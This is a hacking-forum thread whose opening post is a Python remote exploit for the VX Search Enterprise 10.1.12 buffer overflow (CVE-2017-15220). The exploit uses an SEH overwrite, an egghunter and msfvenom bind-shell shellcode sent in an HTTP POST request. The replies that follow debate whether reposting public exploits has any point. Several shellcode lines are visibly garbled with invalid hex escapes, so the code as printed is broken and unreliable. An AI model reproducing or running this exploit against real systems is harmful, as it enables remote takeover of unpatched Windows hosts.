

Forum:[Hack Forums](#)

Thread: [Buffer Overflow, VX Search Enterprise 10.1.12, CVE-2017-15220](#)

Cyber Connection - *October 26, 2017, 11:49 am*

Code `#!/usr/bin/env python`

Exploit Title : VX Search Enterprise v10.1.12 Remote Buffer Overflow

```
# Exploit Author   : Revnice Vasile
```

Email : revnic[at]gmail[dot]com

Date : 09-10-2017

Vendor Homepage : <http://www.flexense.com/>

Software Link : http://www.vxsearch.com/setups/vxsearchent_setup_v10.1.12.exe

```
# Version      : 10.1.12
```

Tested on : Windows 7 x86 Pro SP1

Category : Windows Remote Exploit

CVE : CVE-2017-15220

```
import socket
```

```
import os
```

```
import sys
```

```
import struct
```

```
# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUN=none -e x86/alpha_mixed -f c
shellcode = ("\x89\xe5\xdb\x03\x09\x75\xf4\x5f\x57\x59\x49\x49\x49\x49\x49")
```

"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"

"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"

"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"

"\x39\x6c\x68\x68\x6f\x72\x55\x50\x77\x70\x53\x30\x43\x50\x4d"

"\x59\x79\x75\x66\x51\x69\x50\x45\x34\x6c\x4b\x32\x70\x70\x30"

"\x4c\x4b\x32\x72\x64\x4c\x6e\x6b\x56\x32\x66\x74\x6e\x6b\x72"

"\x52\x75\x78\x36\x6f\x4e\x57\x33\x7a\x57\x56\x54\x71\x4b\x4f"

"\x4e\x4c\x65\x6c\x65\x31\x73\x4c\x44\x42\x56\x4c\x75\x70\x5a"

"\x61\x38\x4f\x36\x6d\x63\x31\x4f\x37\x5a\x42\x58\x72\x63\x62"

"\x70\x57\x6e\x6b\x42\x72\x44\x50\x4c\x4b\x73\x7a\x45\x6c\x6e"

"\x6b\x72\x6c\x44\x51\x72\x58\x78\x63\x33\x78\x35\x51\x48\x51"

"\x42\x71\x6c\x4b\x43\x69\x37\x50\x77\x71\x5a\x73\x4c\x4b\x67"

"\x39\x77\x68\x5a\x43\x66\x5a\x53\x79\x4e\x6b\x74\x74\x4c\x4b"

"\x43\x31\x39\x46\x70\x31\x6b\x4f\x6e\x4c\x39\x51\x78\x4f\x46"

"\x6d\x53\x31\x38\x47\x55\x68\x39\x70\x72\x55\x7a\x56\x33\x33"

"\x33\x4d\x4b\x48\x35\x6b\x61\x6d\x74\x64\x50\x75\x4a\x44\x31"

"\x48\x4c\x4b\x46\x38\x56\x44\x73\x31\x69\x43\x50\x66\x4c\x4b"

"\x46\x6c\x72\x6b\x4c\x4b\x73\x68\x67\x6c\x43\x31\x4b\x63\x4c"

"\x4h\x46\x64\x4e\x6h\x76\x61\x48\x50\x4c\x49\x71\x54\x34\x64"

"x35|x74|x63|x6h|x71|x4h|x71|x71|x36|x39|x31|x4a|x46|x31|x39"

"\x6f\x6d\x30\x43\x6f\x73\x6f\x32\x7a\x6e\x6b\x74\x52\x68\x6b"

"\x6c\x4d\x43\x6d\x62\x48\x41\x73\x41\x52\x7a\x6c\x6b\x74\x65\x50\x33"

"\y58|\y73|\y17|\y30|\y73|\y56|\y52|\y13|\y6f|\y31|\y14|\y61|\y78|\y62|\y6c"

"\x53\x47\x50\x52\x43\x51\x44\x51\x78\x02\x00"
"\x53\x47\x74\x66\x35\x57\x59\x6f\x4a\x75\x6f\x48\x4e\x70\x45"

"\x51\x47\x70\x57\x70\x65\x79\x6f\x34\x71\x44\x62\x70\x43\x58"
"\x46\x49\x4f\x70\x30\x6b\x53\x30\x59\x6f\x6a\x75\x72\x4a\x33"
"\x38\x53\x69\x46\x30\x4b\x52\x69\x6d\x73\x70\x32\x70\x51\x50"
"\x32\x70\x31\x78\x4a\x4a\x36\x6f\x49\x4f\x4b\x50\x39\x6f\x49"
"\x45\x4e\x77\x31\x78\x75\x52\x75\x50\x57\x61\x53\x6c\x6b\x39"
"\x7a\x46\x63\x5a\x54\x50\x71\x46\x32\x77\x43\x58\x6b\x72\x49"
"\x4b\x76\x57\x53\x57\x39\x6f\x38\x55\x46\x37\x42\x48\x38\x37"
"\x48\x69\x57\x48\x49\x6f\x59\x6f\x58\x55\x73\x67\x75\x38\x44"
"\x34\x68\x6c\x57\x4b\x69\x71\x59\x6f\x7a\x75\x51\x47\x6e\x77"
"\x50\x68\x50\x75\x72\x4e\x52\x6d\x51\x71\x6b\x4f\x4a\x75\x31"
"\x78\x52\x43\x70\x6d\x52\x44\x67\x70\x4f\x79\x78\x63\x71\x47"
"\x43\x67\x33\x67\x75\x61\x68\x76\x62\x4a\x55\x42\x70\x59\x56"
"\x36\x7a\x42\x59\x6d\x53\x56\x38\x47\x32\x64\x61\x34\x45\x6c"
"\x76\x61\x35\x51\x6c\x4d\x57\x34\x34\x64\x74\x50\x6b\x76\x43"
"\x30\x50\x44\x30\x54\x52\x70\x50\x56\x53\x66\x53\x66\x42\x66"
"\x46\x36\x70\x4e\x30\x56\x53\x66\x72\x73\x30\x56\x31\x78\x33"
"\x49\x38\x4c\x65\x6f\x4d\x56\x4b\x4f\x59\x45\x4b\x39\x79\x70"
"\x32\x6e\x73\x66\x33\x76\x6b\x4f\x30\x30\x31\x78\x65\x58\x6f"
"\x77\x67\x6d\x31\x70\x79\x6f\x38\x55\x6d\x6b\x6a\x50\x4e\x55"
"\x69\x32\x30\x56\x33\x58\x4c\x66\x4e\x75\x4d\x6d\x4d\x4d\x59"
"\x6f\x38\x55\x37\x4c\x57\x76\x33\x4c\x54\x4a\x6d\x50\x6b\x4b"
"\x4b\x50\x32\x55\x53\x35\x4d\x6b\x63\x77\x57\x63\x73\x42\x32"
"\x4f\x52\x4a\x37\x70\x51\x43\x4b\x4f\x58\x55\x41\x41")

buf_totlen = 5000
dist_seh = 2492
nseh = "\xeb\x06AA"
seh = 0x1011369e
nops = "\x90" * 10

egghunter = ("\\x66\\x81\\xCA\\xFF\\x0F\\x42\\x52\\x6A\\x02\\x58\\xCD\\x2E\\x3C\\x05\\x5A\\x74\\xEF\\xB8"
"\\x77\\x30\\x30\\x74"
"\\x8B\\xFA\\xAF\\x75\\xEA\\xAF\\x75\\xE7\\xFF\\xE7")

egg = "w00tw00t"

payload = ""
payload += "A"*(dist_seh - len(payload))
payload += nseh
payload += struct.pack("<I", seh)
payload += nops
payload += egghunter
payload += egg
payload += shellcode
payload += "D"*(buf_totlen - len(payload))

buf = "POST /./%s HTTP/1.1\r\n" %payload
buf += "Host: 10.10.10.10\r\n"
buf += "User-Agent: Mozilla/5.0\r\n"
buf += "Connection: close\r\n"
buf += "\r\n"

```
print "Sending the payload!"  
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )  
expl.connect(("10.10.10.10", 80))  
expl.send(buf)  
expl.close()
```

Dimeblade - January 6, 2018, 6:55 am

So basically you just want to paste public 0days to make yourself feel proud and think you master of exploiting with metasploit?

Whats the whole F*cking point of this paste?

I know a simple lame google search will do this or you might wanna try this so you can feel real good

intext:"CVE-2017-15220"

you get so so so so many same shit exploit in different sites

AKIER - March 1, 2018, 9:14 pm

very nice work!! thank you

CyberStrike - March 2, 2018, 1:20 pm

(Mar 1, 2018 10:14 PM)AKIER Wrote: [\[CITE\]](#) very nice work!! thank you

It's a public exploit .. as stated by Dimeblade.

SirLord - March 2, 2018, 1:27 pm

(Jan 6, 2018 07:55 AM)Dimeblade Wrote: [\[CITE\]](#) So basically you just want to paste public 0days to make yourself feel proud and think you master of exploiting with metasploit?

Whats the whole F*cking point of this paste?

I know a simple lame google search will do this or you might wanna try this so you can feel real good

intext:"CVE-2017-15220"

you get so so so so many same shit exploit in different sites

What's the problem with posting exploits here so more people get to know them?

OT:

Thanks for sharing OP.